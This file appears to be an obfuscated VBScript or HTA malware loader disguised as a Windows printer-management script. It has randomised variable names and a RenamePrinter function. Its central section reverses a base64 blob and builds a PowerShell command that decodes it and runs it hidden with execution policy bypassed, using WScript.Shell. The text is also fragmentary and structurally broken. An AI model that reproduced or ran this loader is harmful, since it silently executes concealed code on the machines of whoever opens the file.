ParseCommandLine = qSyyOfYspEghYkxAKESoSsIQZQIOvZMPXuoXvdcacQtyROXWDkHuegfUiCSjzcSvZlpoIqrWnzgREKuyboPHpcdhxSOFcJFlaUwBKEJfcrVbOIxNkTTSJPXdWcIZZjckSzFXdYIcxQAHJcbkaPVYuFEsRxxHhsbqUJExgkzCyhZxaAKRtJFcsRvoPoRGGaUkgxtPSTva

end if

end function

GYVpAtQOYOrqzwXRqKRMiMYbTGVTMFCIblBOpqLQQlfDkWWSdfDfqQKwSnYiqcjBCccHJbvFfqVApnLDIYkANDNUrUpkqxZQUnEMsNCzVpLVABkgVgyJTyMVprLRUKKlEOTEPMnwgFxBHczTMaLxpLxTIWmhyVaLRBqNnbuOFklpnMXNTIBMwMtepoAwvFxRFytBLRGx:pflWKrxRdwnMknTaHiLtbIKOADBKGeqnpOSFUPUFBENlHfpcWwVUglqRKUmHtyaSaGDGgAikEmDyhLKucwABXIFnCrXTfyOiOQqzxPEknEGavGNvsNYpYdqjGOTccyRegjJTqoQFZcKFxbVNUOHALsheoinnkgfyMLRXxWuOOPZurpyUwGJeXxAzyCZjmtqViSFszEVX:quTznvHtjZOlITydzZAPTRwsKmYgjYcBmAURNmBpjIKrWYhbKLtsbTBVtHyfohnutRBvoDDlgXqNvcFKOJMupHtMDlBynEWqzMfFHHYujBozfnQzvprujEppjvpZBtWtdJJZhGtBEzTJtqtWHVJENmTHTFyyzllClfEcuqsBGcFoogyWWwhWfCZFnPbrFsOVUXFATFwS = "UrVxaD":jUbFktOYrSDlKYWxjfBsrVGfhEzOvjicxyfotpxYWDlWCeIqbJYMQBMtrdQIbutRDxuotaAvvuQhshOqnCrvIjkUWVHJkEIZdSoVsdDGvkAHRJStPSjwklbLZkWweHSGZLsFZxZgALFDqTmcqPxhiLVsEaZXaaoNNoeLAvwchUuakyUcXTdHniHULKLkwGJLRxcUAzlg:NJngBHFZITbefctDklqhbtkQYRkzhrmLdtBUuXVjFbKGzhWgongCQfZdfNePkGeyUOByvrYoJvBpEiDizoiRnrmAqExdMWisGniuWWAYNkjzVJFFyJoFjtrbEamyuDibbLqOOQyUKaDeLxXPuPHVfacPIKPoAFiOXssUbHqDfDzEMKFpZcStGKItcQzdslXuNPbgsQtx:

Dim AAyDiXnhLSIHihehneRuVXahIdrxEEVQfIlLpKCpIqmDSZKNnKoWDIDxvanGyEDMVqgwdMBxgMldYbGctNCGWRPUKZrrPYoriLhwGTZXuwPHnTbqKUOwikCEhWtzeitfqYgjbsavFQSndxQdNtkJQoyXSRhXzSWGWIDUvJkwzhhdWQOqTYvdIuUGHkBvDjPjnZvENftO

kvkApVBtYsHBcfgdSFoDyFiLlUVNyMbJJPrUlhfFGCUpRQUTYJkhKAeubLkFvENweaYRyqrbKEAbzcKsfTNrswszHAjZUBEgDmypjTCxStVOboTPOkaFmDsdMnWgfpEXusCkTXBbKQYFnUTkMEAeeMzwqZvzLVeQuzlIcZxrpRVfhpykMxVEyUtNjBkCRNlRsiQxzMTZ = "powershell -command "

RvKhQPnQeVeTOjpfKUvHAaHmwoDCWwHvFDKvTvGxnvzdJVHzCywLasldRXuDFsDtoERtBuArhozQUUsUVaRqorgmiTawUODjdQNvylOuZOrKZgfQlSbDiRIuIFiyyekIesaaafMTYGficzdGXBaALzPMuxAhlKWnpODFehrahSLAWdwqzWXPrBHwbzuGdLcUDSAsQOAa = "WScript.Shell"

oczRHRzLQZmmWqbjEoSdASAQdjaDlXNzzNYTywVCJQEevxuQJhxrZSNdXRinIeEEfuyoiizgkuMTmfLVgzfHXeiiNZhiBJiHTNZqJKzJrpHQPsXAqZgISdlctgUUUMVfKxcLOjEzuiCsHdUFRMwXGxWGEhFyfOhPJSGZuzQPhZZAfhQBgwqVriZexgHIDWexYZQhGMUs = " "

AAyDiXnhLSIHihehneRuVXahIdrxEEVQfIlLpKCpIqmDSZKNnKoWDIDxvanGyEDMVqgwdMBxgMldYbGctNCGWRPUKZrrPYoriLhwGTZXuwPHnTbqKUOwikCEhWtzeitfqYgjbsavFQSndxQdNtkJQoyXSRhXzSWGWIDUvJkwzhhdWQOqTYvdIuUGHkBvDjPjnZvENftO = AAyDiXnhLSIHihehneRuVXahIdrxEEVQfIlLpKCpIqmDSZKNnKoWDIDxvanGyEDMVqgwdMBxgMldYbGctNCGWRPUKZrrPYoriLhwGTZXuwPHnTbqKUOwikCEhWtzeitfqYgjbsavFQSndxQdNtkJQoyXSRhXzSWGWIDUvJkwzhhdWQOqTYvdIuUGHkBvDjPjnZvENftO & StrReverse("==AApAQKAYDAzAQXAIFABBASAMGAbBALAkDAzAQXAIFABBASAMGAbBAIAACAGBQLAACApAwJAkCApAQfAADA7BQdAMGA9BAMAsHAgAALAACA9BAMAsHAlBA" & uPsN & oczRHRzLQZmmWqbjEoSdASAQdjaDlXNzzNYTywVCJQEevxuQJhxrZSNdXRinIeEEfuyoiizgkuMTmfLVgzfHXeiiNZhiBJiHTNZqJKzJrpHQPsXAqZgISdlctgUUUMVfKxcLOjEzuiCsHdUFRMwXGxWGEhFyfOhPJSGZuzQPhZZAfhQBgwqVriZexgHIDWexYZQhGMUs & uPsN & "A0HAwAweAACAsAAIA0HAwAweAEGAzBA" & uPsN & oczRHRzLQZmmWqbjEoSdASAQdjaDlXNzzNYTywVCJQEevxuQJhxrZSNdXRinIeEEfuyoiizgkuMTmfLVgzfHXeiiNZhiBJiHTNZqJKzJrpHQPsXAqZgISdlctgUUUMVfKxcLOjEzuiCsHdUFRMwXGxWGEhFyfOhPJSGZuzQPhZZAfhQBgwqVriZexgHIDWexYZQhGMUs & uPsN & "AEGAkBQfAcCA

OAVvPqGbyZeACabIJQXDEaQalVsiLbqfFYXxcoCsYNqouTFRMdXvoMGhyxJmVIdmzYNILbHIxiJXlmoKscyGMyODBUILjUznOUjAtxjIPMIQeQiMiwGYkkDhtFhAMMsMJGqeEtVMEcgkpzZANCrFeRpmRUacvFXETubpoUZjbkfFADHAXTXhPKstxASYhskJFgEYIEQH = AAyDiXnhLSIHihehneRuVXahIdrxEEVQfIlLpKCpIqmDSZKNnKoWDIDxvanGyEDMVqgwdMBxgMldYbGctNCGWRPUKZrrPYoriLhwGTZXuwPHnTbqKUOwikCEhWtzeitfqYgjbsavFQSndxQdNtkJQoyXSRhXzSWGWIDUvJkwzhhdWQOqTYvdIuUGHkBvDjPjnZvENftO

Set fYTNadQjazhrSmVWpFlMSdVRUQhIVjwSykohdyPNHkLFSxynFMWYCrnxbnyNkXsTCeSPAIJruUFlqvdLfQuXiWyNpBRgDTMcugXyLStzcabZaVtgFxUAgzaRGAzWtdxOuSvuxSANmIujCMGZfWppJRltFGBwZsgldclbufAqjWbvLsdgvSlZJrUBAIVpageMpqvCCmVl = CreateObject(RvKhQPnQeVeTOjpfKUvHAaHmwoDCWwHvFDKvTvGxnvzdJVHzCywLasldRXuDFsDtoERtBuArhozQUUsUVaRqorgmiTawUODjdQNvylOuZOrKZgfQlSbDiRIuIFiyyekIesaaafMTYGficzdGXBaALzPMuxAhlKWnpODFehrahSLAWdwqzWXPrBHwbzuGdLcUDSAsQOAa)

hybfCohGUfbzAIElExNNltOVGBfQypnHDQHQDhwmfxtgiGsfGIWbRtaVKUdOwzVuhgFQxgVvJgtgwqOjuKVFLQDTYstXrNKdjjckpeatADhXflXzybaGIkzPqKLQqmHawTULbnaQEujkcYPxSalAoBuZcDdLXGfJAVAoqHvvcETFdUBHCngpXBvfIQaJyHFVZukTsFfS = ("$Codigo = '") & OAVvPqGbyZeACabIJQXDEaQalVsiLbqfFYXxcoCsYNqouTFRMdXvoMGhyxJmVIdmzYNILbHIxiJXlmoKscyGMyODBUILjUznOUjAtxjIPMIQeQiMiwGYkkDhtFhAMMsMJGqeEtVMEcgkpzZANCrFeRpmRUacvFXETubpoUZjbkfFADHAXTXhPKstxASYhskJFgEYIEQH & "'"

hybfCohGUfbzAIElExNNltOVGBfQypnHDQHQDhwmfxtgiGsfGIWbRtaVKUdOwzVuhgFQxgVvJgtgwqOjuKVFLQDTYstXrNKdjjckpeatADhXflXzybaGIkzPqKLQqmHawTULbnaQEujkcYPxSalAoBuZcDdLXGfJAVAoqHvvcETFdUBHCngpXBvfIQaJyHFVZukTsFfS = hybfCohGUfbzAIElExNNltOVGBfQypnHDQHQDhwmfxtgiGsfGIWbRtaVKUdOwzVuhgFQxgVvJgtgwqOjuKVFLQDTYstXrNKdjjckpeatADhXflXzybaGIkzPqKLQqmHawTULbnaQEujkcYPxSalAoBuZcDdLXGfJAVAoqHvvcETFdUBHCngpXBvfIQaJyHFVZukTsFfS & ";$OWjuxd = [system.Text.encoding]::Unicode.GetString( "

hybfCohGUfbzAIElExNNltOVGBfQypnHDQHQDhwmfxtgiGsfGIWbRtaVKUdOwzVuhgFQxgVvJgtgwqOjuKVFLQDTYstXrNKdjjckpeatADhXflXzybaGIkzPqKLQqmHawTULbnaQEujkcYPxSalAoBuZcDdLXGfJAVAoqHvvcETFdUBHCngpXBvfIQaJyHFVZukTsFfS = hybfCohGUfbzAIElExNNltOVGBfQypnHDQHQDhwmfxtgiGsfGIWbRtaVKUdOwzVuhgFQxgVvJgtgwqOjuKVFLQDTYstXrNKdjjckpeatADhXflXzybaGIkzPqKLQqmHawTULbnaQEujkcYPxSalAoBuZcDdLXGfJAVAoqHvvcETFdUBHCngpXBvfIQaJyHFVZukTsFfS & "[system.Convert]::Frombase64String( $codigo ) )"

hybfCohGUfbzAIElExNNltOVGBfQypnHDQHQDhwmfxtgiGsfGIWbRtaVKUdOwzVuhgFQxgVvJgtgwqOjuKVFLQDTYstXrNKdjjckpeatADhXflXzybaGIkzPqKLQqmHawTULbnaQEujkcYPxSalAoBuZcDdLXGfJAVAoqHvvcETFdUBHCngpXBvfIQaJyHFVZukTsFfS = hybfCohGUfbzAIElExNNltOVGBfQypnHDQHQDhwmfxtgiGsfGIWbRtaVKUdOwzVuhgFQxgVvJgtgwqOjuKVFLQDTYstXrNKdjjckpeatADhXflXzybaGIkzPqKLQqmHawTULbnaQEujkcYPxSalAoBuZcDdLXGfJAVAoqHvvcETFdUBHCngpXBvfIQaJyHFVZukTsFfS & ";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

fYTNadQjazhrSmVWpFlMSdVRUQhIVjwSykohdyPNHkLFSxynFMWYCrnxbnyNkXsTCeSPAIJruUFlqvdLfQuXiWyNpBRgDTMcugXyLStzcabZaVtgFxUAgzaRGAzWtdxOuSvuxSANmIujCMGZfWppJRltFGBwZsgldclbufAqjWbvLsdgvSlZJrUBAIVpageMpqvCCmVl.Run "" & kvkApVBtYsHBcfgdSFoDyFiLlUVNyMbJJPrUlhfFGCUpRQUTYJkhKAeubLkFvENweaYRyqrbKEAbzcKsfTNrswszHAjZUBEgDmypjTCxStVOboTPOkaFmDsdMnWgfpEXusCkTXBbKQYFnUTkMEAeeMzwqZvzLVeQuzlIcZxrpRVfhpykMxVEyUtNjBkCRNlRsiQxzMTZ & " " & hybfCohGUfbzAIElExNNltOVGBfQypnHDQHQDhwmfxtgiGsfGIWbRtaVKUdOwzVuhgFQxgVvJgtgwqOjuKVFLQDTYstXrNKdjjckpeatADhXflXzybaGIkzPqKLQqmHawTULbnaQEujkcYPxSalAoBuZcDdLXGfJAVAoqHvvcETFdUBHCngpXBvfIQaJyHFVZukTsFfS, 0, False

Sub uulWszPrRyiebZWosKBoyRTDONUmVOKsDONJhVyualbTtKdDQhTpTeAfNgkbSqAvHiLZHAxWBGBrmPCDSDErUgYeVFjYcyWefvfbQNIucGdUGEwEuWSDJbYkWdqVbmkkBiTfcIJhBrjgMZYVncNSUOdkITvvkOsSfRowacyervqAbxvlulyvGRMpwbHbLmBVCCFxtPml()

window.resizeTo 300, 100

End Sub

sub Usage(bExit)

if bExit then

wscript.quit(1)

end if

end sub

function IsHostCscript()

on error resume next

dim strFullName

dim strCommand

dim i, j

dim bReturn

bReturn = false

strFullName = WScript.FullName

i = InStr(1, strFullName, ".exe", 1)

if i <> 0 then

j = InStrRev(strFullName, "\", i, 1)

if j <> 0 then

strCommand = Mid(strFullName, j+1, i-j-1)

if LCase(strCommand) = "cscript" then

bReturn = true

end if

if Err <> 0 then

wscript.echo L_Text_Error_General01_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & cjzmPjhsmjHxCGjojbRvjzfffYVKZWqCeKrwDAAYUUZCJfDhwLfhkEFBgDStjEiJDLuGZRdxXGsenlojBgQYDKiTjvdoYgTOTmMqoQooVptXJEAimxtegHzrZksrSWQoveroQLFmJcHCizqxrDSSKImAnClOSfWqeuuTBrBDQGPGWkXgmMjAQuVLLKpHMwYhRRzVEPgk & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs _

& ExObJTWAlsvABnotKukDQPBhoUrksgMONzkESbRdGhConfuRYQzMZGSEnUyJzLYOykgcdloXTFhmtowlweRpcsSdlTgiDuAALuhtUNCCUFfhiXWXwpyGhulanmHZqqYgjowCtobLANUindNQkQiVQgqNMEfSPbfCzdrckMqaLoWjOYJatrhrdhqvwlNvPgyggdZVbeQP & hex(Err.Number) & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & Err.Description

end if

IsHostCscript = bReturn

end function

sub LastError()

on error resume next

dim oError

set oError = CreateObject("WbemScripting.SWbemLastError")

wscript.echo L_Operation_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & oError.Operation

wscript.echo L_Provider_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & oError.ProviderName

wscript.echo L_Description_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & oError.Description

wscript.echo L_Text_Error_General03_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & oError.StatusCode

end if

end sub

function ekKUhwnBxdsvDClfPqyZzxDGFuQaWZaGlilPyXWbFiwoYYgUiQSsdNPnDsXtdQHknTcjgOgNSqJuniBsTuEbnUzLsmEMkbHmqZmVtVZVnTADezWfsYakusFUDrdSDKDyxMhNaQONfbFMhpkmSduxAvkVUHPqtqogSQydYHOhsyqOEffMThsCJjiZNzWMyoHDpNgFlouU(strServer, strNameSpace, pkEAlWElBUKpYmPVdcmvuFUkuXEhaFSgQHmpQLthhgcRkSPZfmrlMsEWbFSiJcaQCsbiDATiPCDcMKuBAZqmxasllKiEOMcQdlQltmVtwlbTgzKlEJlDqbulmwAqfbuHDEEeocFzGwwLRObWjQqvSXURTrfdQvlSXaJVEUdMVANJxcdBJiGWUQzZKVLVfHdEIkwELrLq, rTXcmVBSOLkdMxqRuLkkhkIKZxEdFuYCJKxubsdxHqmqCNzStWUhFYUzQYWPkRkubucnmlRMiFhzRXxpIHuFYSZBQGRPxEruaBzsBOVjBalRMaYKMfeDLCssBxvImcOHtPnhqiJJbhJgOjInUTZrlFsfQDcMFJeHlQKZEtITmPVzubkjYkIXfoHXjjMWghaXKDzHEYHl, ZBQastBsVhTPIDjNDiSmEwdbAWfilXTJlFQOGdlxeuDcNvqOkKisnoVGcFkNkSpsKOJLBUeiLOXpRhCawWtItyGotnHFoOyFETykVsQCdngjfClyraEqEQnEDnQauNozTJJpCKYcXkcxpIHoBVVVFEGrbZlDGKqbWCyfcKnstYtwhcTnejTBHOYOrfQQgGQzTthzhnJt)

on error resume next

dim oLocator

dim bResult

ZBQastBsVhTPIDjNDiSmEwdbAWfilXTJlFQOGdlxeuDcNvqOkKisnoVGcFkNkSpsKOJLBUeiLOXpRhCawWtItyGotnHFoOyFETykVsQCdngjfClyraEqEQnEDnQauNozTJJpCKYcXkcxpIHoBVVVFEGrbZlDGKqbWCyfcKnstYtwhcTnejTBHOYOrfQQgGQzTthzhnJt = null

bResult = false

set oLocator = CreateObject("WbemScripting.SWbemLocator")

set ZBQastBsVhTPIDjNDiSmEwdbAWfilXTJlFQOGdlxeuDcNvqOkKisnoVGcFkNkSpsKOJLBUeiLOXpRhCawWtItyGotnHFoOyFETykVsQCdngjfClyraEqEQnEDnQauNozTJJpCKYcXkcxpIHoBVVVFEGrbZlDGKqbWCyfcKnstYtwhcTnejTBHOYOrfQQgGQzTthzhnJt = oLocator.ConnectServer(strServer, strNameSpace, pkEAlWElBUKpYmPVdcmvuFUkuXEhaFSgQHmpQLthhgcRkSPZfmrlMsEWbFSiJcaQCsbiDATiPCDcMKuBAZqmxasllKiEOMcQdlQltmVtwlbTgzKlEJlDqbulmwAqfbuHDEEeocFzGwwLRObWjQqvSXURTrfdQvlSXaJVEUdMVANJxcdBJiGWUQzZKVLVfHdEIkwELrLq, rTXcmVBSOLkdMxqRuLkkhkIKZxEdFuYCJKxubsdxHqmqCNzStWUhFYUzQYWPkRkubucnmlRMiFhzRXxpIHuFYSZBQGRPxEruaBzsBOVjBalRMaYKMfeDLCssBxvImcOHtPnhqiJJbhJgOjInUTZrlFsfQDcMFJeHlQKZEtITmPVzubkjYkIXfoHXjjMWghaXKDzHEYHl)

bResult = true

Err.Clear

else

wscript.echo L_Text_Msg_General08_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & cjzmPjhsmjHxCGjojbRvjzfffYVKZWqCeKrwDAAYUUZCJfDhwLfhkEFBgDStjEiJDLuGZRdxXGsenlojBgQYDKiTjvdoYgTOTmMqoQooVptXJEAimxtegHzrZksrSWQoveroQLFmJcHCizqxrDSSKImAnClOSfWqeuuTBrBDQGPGWkXgmMjAQuVLLKpHMwYhRRzVEPgk _

& rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & ExObJTWAlsvABnotKukDQPBhoUrksgMONzkESbRdGhConfuRYQzMZGSEnUyJzLYOykgcdloXTFhmtowlweRpcsSdlTgiDuAALuhtUNCCUFfhiXWXwpyGhulanmHZqqYgjowCtobLANUindNQkQiVQgqNMEfSPbfCzdrckMqaLoWjOYJatrhrdhqvwlNvPgyggdZVbeQP & hex(Err.Number) & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs _

& Err.Description

end if

else

wscript.echo L_Text_Msg_General09_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & cjzmPjhsmjHxCGjojbRvjzfffYVKZWqCeKrwDAAYUUZCJfDhwLfhkEFBgDStjEiJDLuGZRdxXGsenlojBgQYDKiTjvdoYgTOTmMqoQooVptXJEAimxtegHzrZksrSWQoveroQLFmJcHCizqxrDSSKImAnClOSfWqeuuTBrBDQGPGWkXgmMjAQuVLLKpHMwYhRRzVEPgk _

& Err.Description

end if

ekKUhwnBxdsvDClfPqyZzxDGFuQaWZaGlilPyXWbFiwoYYgUiQSsdNPnDsXtdQHknTcjgOgNSqJuniBsTuEbnUzLsmEMkbHmqZmVtVZVnTADezWfsYakusFUDrdSDKDyxMhNaQONfbFMhpkmSduxAvkVUHPqtqogSQydYHOhsyqOEffMThsCJjiZNzWMyoHDpNgFlouU = bResult

end function

function RenamePrinter(oParamDict)

on error resume next

gRGuuKzcfxCcAlWOXTfeiFXfwBnMJMLtQxtSTXpOSihyvHjcllruJaGvRPgeyVDahMpuDkunMiGmPasIsVBtGKOcPzKrrGNMoxzFEBeYMyJHLKSpYurEJAQpcNhLLfaUPXiISucKnyFtdJfCSqyexYOiMjFFhLtwSeLrsoaCaiyaKioGQujxxlSQeyfLobMZSCMFBrNr ISMKBOlXznDctniUDEgFSLqQUODfkOqtrRAPiQbZBUQzxDQKraRLRwyTcTbeLKhDcaLspJrQPBQvktwcQnLOLZiKNBJhYBaWhGvYPbvRNbsxqGFJDJCgBopmjzCCFCfejmuAlVLJsABFCZovOheazXEXxXnmNOmIeMYUlGdYEySZmjhLuXpBJHRfLoGcJydoREFKybuy, zTyxvtcKdfDKWsmUaDvShJrVQQtqzwUMsmdrbCUlsFREOPOEPvsdlsmcERWWqJfdbmayiXhyfZQkAFoQumcDhaGKcRncMXjGTyEWIBuesOOkXEGGqtEUnkSKvESNoketDEeslrlHwgBGktSpwZdkhrklPbnaVmDXfaIlFYLDlrvGIvbUsSpXkjOpMwtSRuVhNUQePlRV

gRGuuKzcfxCcAlWOXTfeiFXfwBnMJMLtQxtSTXpOSihyvHjcllruJaGvRPgeyVDahMpuDkunMiGmPasIsVBtGKOcPzKrrGNMoxzFEBeYMyJHLKSpYurEJAQpcNhLLfaUPXiISucKnyFtdJfCSqyexYOiMjFFhLtwSeLrsoaCaiyaKioGQujxxlSQeyfLobMZSCMFBrNr ISMKBOlXznDctniUDEgFSLqQUODfkOqtrRAPiQbZBUQzxDQKraRLRwyTcTbeLKhDcaLspJrQPBQvktwcQnLOLZiKNBJhYBaWhGvYPbvRNbsxqGFJDJCgBopmjzCCFCfejmuAlVLJsABFCZovOheazXEXxXnmNOmIeMYUlGdYEySZmjhLuXpBJHRfLoGcJydoREFKybuy, JIDRMynNFmivtBppyLzkddfcylJAglBWgPSmGPRJZqcMbpMYZNAvEDmwJClvQkbUnnNERTbjaWFQJLGFkJaRCwDzIuktXDVceogMsdOxNZGolBggRXJVjZkPNnXkhkJkNtRcOZOlQbdhvAsnSdOQoWuCGJwxqnPRokupBBXDekKqbVtIMIXPRPtuShaJwOEpvndqaTHe & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & oParamDict.Item(kServerName)

gRGuuKzcfxCcAlWOXTfeiFXfwBnMJMLtQxtSTXpOSihyvHjcllruJaGvRPgeyVDahMpuDkunMiGmPasIsVBtGKOcPzKrrGNMoxzFEBeYMyJHLKSpYurEJAQpcNhLLfaUPXiISucKnyFtdJfCSqyexYOiMjFFhLtwSeLrsoaCaiyaKioGQujxxlSQeyfLobMZSCMFBrNr ISMKBOlXznDctniUDEgFSLqQUODfkOqtrRAPiQbZBUQzxDQKraRLRwyTcTbeLKhDcaLspJrQPBQvktwcQnLOLZiKNBJhYBaWhGvYPbvRNbsxqGFJDJCgBopmjzCCFCfejmuAlVLJsABFCZovOheazXEXxXnmNOmIeMYUlGdYEySZmjhLuXpBJHRfLoGcJydoREFKybuy, pUjGqKgUTvZVPxZZKovlhMFuZoIqeJFtKNopmBpDemWybSOpjCHLKnTxhhHjElFHLoGOkPLwEcrGxyUxLXFqAYdAaICVIkcDMSTcfzINqJqcFwEDgKnuBeHwkyuUieVkSAyeQPjwwxBBrJkmIoNAobwpSExcCElQpPIewWKYvgoiXBWEHEhDhCcvhSzjAMRaCwDNuQLf & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & oParamDict.Item(kPrinterName)

gRGuuKzcfxCcAlWOXTfeiFXfwBnMJMLtQxtSTXpOSihyvHjcllruJaGvRPgeyVDahMpuDkunMiGmPasIsVBtGKOcPzKrrGNMoxzFEBeYMyJHLKSpYurEJAQpcNhLLfaUPXiISucKnyFtdJfCSqyexYOiMjFFhLtwSeLrsoaCaiyaKioGQujxxlSQeyfLobMZSCMFBrNr ISMKBOlXznDctniUDEgFSLqQUODfkOqtrRAPiQbZBUQzxDQKraRLRwyTcTbeLKhDcaLspJrQPBQvktwcQnLOLZiKNBJhYBaWhGvYPbvRNbsxqGFJDJCgBopmjzCCFCfejmuAlVLJsABFCZovOheazXEXxXnmNOmIeMYUlGdYEySZmjhLuXpBJHRfLoGcJydoREFKybuy, OfebasmmfAgaqAAHHKMshXErudtywauxjKIKIHAlpHBMMoycJBjlfproDHruzOniArnnteUqgToqhTCeoQhtRUIfMGTyIqZWkpfgnCUnwtSxEJYKMraxutLriqNdpnOsZtwrTHEpNeqWvFAzXJyyiPMJZOPpvZmIeEenqrLevMhkWXwDZeWwNkBNXXSQWuxuKjiyILPD & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & oParamDict.Item(kNewPrinterName)

dim ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm

dim ZBQastBsVhTPIDjNDiSmEwdbAWfilXTJlFQOGdlxeuDcNvqOkKisnoVGcFkNkSpsKOJLBUeiLOXpRhCawWtItyGotnHFoOyFETykVsQCdngjfClyraEqEQnEDnQauNozTJJpCKYcXkcxpIHoBVVVFEGrbZlDGKqbWCyfcKnstYtwhcTnejTBHOYOrfQQgGQzTthzhnJt

dim OdfxLjvmIEVCoZdoeCWovwqlbAPjRCABkrpKwRKAoRoBqjLUmFciuJXXMQnHRFcJPUHSsEYswXTdTGKmxphwPgXdjycSwQVnPKHgIoPmzRpqeayoeVPNloreXdBpuwTKzxwezIaZqzPVMsfUFPThsKlyuWjZwBGRhUMuqIUyxAeraePRPRVfpgBaoDHtOzuiKtFauHRU

dim lZAzmaLvsoTjgoPMZlNiPteCDJebrYJyDhbCgOurWFUcMtVXaJYEcNyDleLnQkqcktMBdHENJydmYuVcJlNiWXgGHDtVdKmvJzvSqayfrWnQSeKtrPFnMaEQbxAZgxaEzZynXekagdwyMcTckBFREdAOuTIBCaUGSNOhXoolBQUqczcKQomCcnXSBfKpNdxanIcyjhDB

dim strServer

